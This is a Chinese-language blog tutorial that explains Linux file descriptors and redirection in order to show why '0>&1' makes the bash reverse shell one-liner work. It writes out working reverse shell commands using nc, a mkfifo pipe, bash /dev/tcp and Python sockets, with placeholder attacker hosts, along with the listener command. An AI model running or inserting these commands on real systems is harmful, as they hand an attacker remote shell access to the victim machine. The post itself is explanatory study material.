【讨论】反弹shell命令里的0>&1到底是个什么玩意?

1.反弹shell的定义

反弹shell在实现上与正向shell相反。
正向shell指的是攻击者主动发起连接以访问靶机的shell,而反弹shell是受害机主动发起连接,攻击方只需监听就能拿到它的shell。反弹shell通常用于攻击者无法直接访问受害机的情况(如内网机器)。

2.linux重定向的概念

linux重定向是实现反弹shell的核心,因此我们先来了解一下linux重定向的基本概念。百度百科里写的还挺全乎的,我就直接复制了。

Linux重定向是指修改原来默认的一些东西,对原来系统命令的默认执行方式进行改变,比如说简单的我不想看到在显示器的输出而是希望输出到某一文件中就可以通过Linux重定向来进行这项工作。

a、 I/O重定向通常与 FD(文件描述符,本质上是一个数组索引,指向其对应的文件)有关,shell的FD通常为10个,即 0~9;
b、 常用FD有3个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,标准错误输出),默认与keyboard、monitor有关;
c、 用 < 来改变读进的数据信道(stdin),使之从指定的档案读进;
d、 用 > 来改变送出的数据信道(stdout, stderr),使之输出到指定的档案;
e、 0 是 < 的默认值,因此 < 与 0<是一样的;同理,> 与 1> 是一样的
f、 在IO重定向 中,stdout 与 stderr 的管道会先准备好,才会从 stdin 读进资料;
g、 管道“|”(pipe line):上一个命令的 stdout 接到下一个命令的 stdin;
h、 tee 命令是在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去;
i、 bash(ksh)执行命令的过程:分析命令-变量求值-命令替代(``和$( ))-重定向-通配符展开-确定路径-执行命令;
j、 ( ) 将 command group 置于 sub-shell 去执行,也称 nested sub-shell,它有一点非常重要的特性是:继承父shell的标准输入、标准输出、标准错误和任何其他打开的文件描述符。
k、 exec 命令:常用来替代当前 shell 并重新启动一个 shell,换句话说,并没有启动子 shell。使用这一命令时任何现有环境都将会被清除。exec 在对文件描述符进行操作的时候,也只有在这时,exec 不会覆盖你当前的 shell 环境。

关于重定向命令,更详细的可以参考GNU官方文档

3.反弹shell的三种常用方法

攻击者(监听方)用nc简单监听即可:

nc -lvp <LPORT>

受害者需要把自己的shell反弹出去,即让远程攻击方具有对shell进行读写的能力。目前看到的方法有如下几种[1]:

  1. netcat
nc -e /bin/sh <LHOST> <LPORT>
  1. netcat without -e
    在较新的linux上,netcat的GAPING_SECURITY_HOLE选项是disabled,这意味着netcat没有-e选项,无法用来取得客户端的bash。可以使用以下命令:
mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p

在这里,首先使用mkfifo命令创建了一个文件名为p的命名管道 (即FIFO)。这个 FIFO 将用于将数据传送回 shell 输入。

  1. bash
    泛用性最广的一种,也是本文讨论的对象
bash -c 'sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

或者

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
  1. python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.问题讨论

对于任何一条linux菜狗而言,在人生第一次看见bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1这条命令的时候,十有八九都会两眼一黑。尽管花了很长时间查资料,但到最后我可能还是没有彻底弄清楚这条命令实现的原理。

这里仅记录一下我在这个过程中的思考和曾经踩过的误区,日后可能还会更新(希望我能搞懂),如有错误欢迎指正。

1.从一个>开始

我们把这条指令拆解一下,从简单的研究起。
在攻击者机器上进行监听,然后在受害者机器上执行下列命令,会发生什么?

bash -i > /dev/tcp/<LHOST>/<LPORT> 

答:前面说过,>等价于1>,也就是说靶机的输出(1)被写到攻击者的机器上(/dev/tcp/<LHOST>/<LPORT>),因此攻击者能够监听到在受害者机器的shell上执行的所有命令的结果,但他自己无法执行命令。

2.有关重定向的理解误区

在第一步的基础上,为什么在这个命令最后加上一个’0>&1’(如下所示)之后,就能把攻击者输入的命令回传到受害者机上并执行?

bash -i > /dev/tcp/<LHOST>/<LPORT> 0>&1

网上常见的一种说法是:“0>&1的意思是将标准输入重定向到标准输出中,也就是说在攻击者主机上的输入会显示在目标主机的shell中但是输出还是重定向到了攻击者主机上”

此时的我一来没搞懂重定向的主被动关系,二来一厢情愿地以为0>&1是标准输入被复制到标准输出的意思,所以死活看不懂这段话到底是什么个意思。

这时一个reddit问答[2]拯救了我:

Users tend to read “0>&1” as “redirect file descriptor 0 to fd 1” or “redirect stdin to stdout”. But that’s implemented in C by using dup2() to create a copy of fd 1, and replacing fd 0.【用户倾向于把“0>&1”读作是“把文件描述符0重定向到文件描述符1”或者“将标准输入重定向到标准输出”,但是在C中这句话的实现方法是用dup2()创建一个fd1的拷贝来取代fd0.】

所以"0>&1"的本质是把文件描述符 fd1复制到 fd0(用赋值语句来表示的话,就是fd0:=fd1),即:写入fd1的东西同时也被写入了fd0,标准输出(1)被复制到标准输入(0)(等价于标准输入被重定向到标准输出,这两个表述是反过来的)。

引用先知一篇文章[4]里面对重定向符号的解释可能会更清晰一些:

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 m 复制到 n ,两者的区别是,前者是以只读的形式打开,后者是以只写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

关于这个万恶又误导人的箭头朝向问题,stackexchange的一个回答[3]说得很好:

0>&1 (same as 0<&1 or <&1) adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).

“0>&1”,“0<&1”,还有"<&1",其实是完全相同的,考虑到文件描述符复制的方向,"0<&1"这种写法其实更符合语义,也不容易让人产生误解。

3.> 和 >&有什么区别?

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1这句当中,第一个’>&'表示混合输出,即标准输出1 + 错误输出2。而"0>&1"中的&是为了区分文件1和文件描述符1的。

还是放上先知那篇文章里给出的对标准输出与标准错误输出重定向的解释:

格式: &> word >& word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1(2>&1 是将标准错误输出复制到标准输出)

最终,对于bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1,处理此命令的 shell 将执行以下行为:

  • fork
  • 创建TCP连接请求到攻击机
  • 把结果文件复制到fd1
  • 把结果文件复制到fd2
  • 把fd1复制到fd0
  • 使用"bash -i"创建子进程

总而言之,攻击者的输入变成了受害者机的标准输入这个过程至此算是明晰了:攻击者的输入写进受害者机的/dev/tcp/<LHOST>/<LPORT>文件里,于是被复制到了标准输入(0)当中,作为命令执行,而命令的标准输出(1)和错误输出(2)又被重定向回/dev/tcp/<LHOST>/<LPORT>,传回攻击机。

更简单地说,我们把fd0,1和2都指向了/dev/tcp/<LHOST>/<LPORT>,当bash -i读取其标准输入时,它从套接字读取,即从位于另一端的任何内容读取,当它(或从那里运行的任何命令)对fd1或2进行写入时,它通过该套接字发送到另一端。

4.有关文件读写权限的思考

bash -i > /dev/tcp/<LHOST>/<LPORT>这个命令里,bash创建的这个TCP套接字应该是只写(即只能客户机向攻击机发送消息)的,但为什么只加了这个"0>&1",客户机就能够接收到攻击机的命令并执行呢?

网上给出的解答是这样的:

bash创建一个 TCP 套接字并将其连接到host:port. 那不是只写重定向,而是读+写网络套接字。

Bash 实际上不会关闭套接字文件描述符的读取端,即使该套接字是使用>.
如果我这样做,为了清楚起见,我会使用<>它,因为这更明显地创建了一个可读和可写的文件描述符。

<>的作用是以读写方式打开一个文件描述符 ,默认文件描述符为0,即等价于’0<>'。
所以更标准的反弹shell写法应该是这样:

bash -i 1<> /dev/tcp/<LHOST>/<LPORT> 2>&1 0>&1

不过GNU官网也没有对读写权限这块做详细说明,所以对于重定向时什么时候只读什么时候只写,我还是有点迷迷糊糊的。以后再说罢。

5.参考

1.cocomelonc: Reverse shells
2.reddit: Understanding “0>&1” in a bash reverse shell
3.stackexchange: What does the 0>&1 shell redirection mean?
4.Linux反弹shell(一)文件描述符与重定向【👈写得非常好!推荐阅读!】

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值